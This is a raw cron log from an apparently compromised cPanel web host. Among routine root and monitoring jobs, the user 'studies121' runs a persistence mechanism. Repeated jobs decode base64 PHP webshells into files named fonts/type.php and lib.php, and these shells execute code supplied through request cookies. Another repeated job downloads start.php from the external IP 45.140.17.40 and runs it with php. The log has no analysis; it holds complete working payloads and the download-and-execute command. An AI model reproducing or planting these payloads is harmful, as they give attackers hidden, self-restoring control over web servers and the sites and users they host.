Sep  7 02:46:01 ip-184-168-122-23 CROND[1433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:46:01 ip-184-168-122-23 CROND[1437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:46:01 ip-184-168-122-23 CROND[1439]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 02:46:01 ip-184-168-122-23 CROND[1440]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 02:46:01 ip-184-168-122-23 CROND[1441]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:46:01 ip-184-168-122-23 CROND[1442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:47:01 ip-184-168-122-23 CROND[1532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:47:01 ip-184-168-122-23 CROND[1534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:47:01 ip-184-168-122-23 CROND[1536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:47:01 ip-184-168-122-23 CROND[1537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:48:01 ip-184-168-122-23 CROND[1626]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:48:01 ip-184-168-122-23 CROND[1629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:48:01 ip-184-168-122-23 CROND[1628]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 02:48:01 ip-184-168-122-23 CROND[1631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:48:01 ip-184-168-122-23 CROND[1630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:49:01 ip-184-168-122-23 CROND[1818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:49:01 ip-184-168-122-23 CROND[1819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:49:01 ip-184-168-122-23 CROND[1822]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:49:01 ip-184-168-122-23 CROND[1826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:50:02 ip-184-168-122-23 CROND[1909]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 02:50:02 ip-184-168-122-23 CROND[1910]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 02:50:02 ip-184-168-122-23 CROND[1911]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 02:50:02 ip-184-168-122-23 CROND[1919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:50:02 ip-184-168-122-23 CROND[1920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:50:02 ip-184-168-122-23 CROND[1916]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 02:50:02 ip-184-168-122-23 CROND[1921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:50:02 ip-184-168-122-23 CROND[1915]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 02:50:02 ip-184-168-122-23 CROND[1922]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:51:01 ip-184-168-122-23 CROND[2016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:51:01 ip-184-168-122-23 CROND[2018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:51:01 ip-184-168-122-23 CROND[2017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:51:01 ip-184-168-122-23 CROND[2022]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:52:01 ip-184-168-122-23 CROND[2105]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:52:01 ip-184-168-122-23 CROND[2107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:52:01 ip-184-168-122-23 CROND[2109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:52:01 ip-184-168-122-23 CROND[2111]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 02:52:01 ip-184-168-122-23 CROND[2115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:53:01 ip-184-168-122-23 CROND[2203]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:53:01 ip-184-168-122-23 CROND[2204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:53:01 ip-184-168-122-23 CROND[2205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:53:01 ip-184-168-122-23 CROND[2206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:54:01 ip-184-168-122-23 CROND[2293]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:54:01 ip-184-168-122-23 CROND[2295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:54:01 ip-184-168-122-23 CROND[2298]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 02:54:01 ip-184-168-122-23 CROND[2297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:54:01 ip-184-168-122-23 CROND[2296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:55:01 ip-184-168-122-23 CROND[2462]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:55:01 ip-184-168-122-23 CROND[2464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:55:01 ip-184-168-122-23 CROND[2466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:55:01 ip-184-168-122-23 CROND[2467]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 02:55:01 ip-184-168-122-23 CROND[2469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:55:01 ip-184-168-122-23 CROND[2465]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 02:56:01 ip-184-168-122-23 CROND[2559]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 02:56:01 ip-184-168-122-23 CROND[2561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:56:01 ip-184-168-122-23 CROND[2562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:56:01 ip-184-168-122-23 CROND[2563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:56:01 ip-184-168-122-23 CROND[2564]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:57:01 ip-184-168-122-23 CROND[2652]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:57:01 ip-184-168-122-23 CROND[2655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:57:01 ip-184-168-122-23 CROND[2654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:57:01 ip-184-168-122-23 CROND[2656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:58:01 ip-184-168-122-23 CROND[2753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:58:01 ip-184-168-122-23 CROND[2754]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
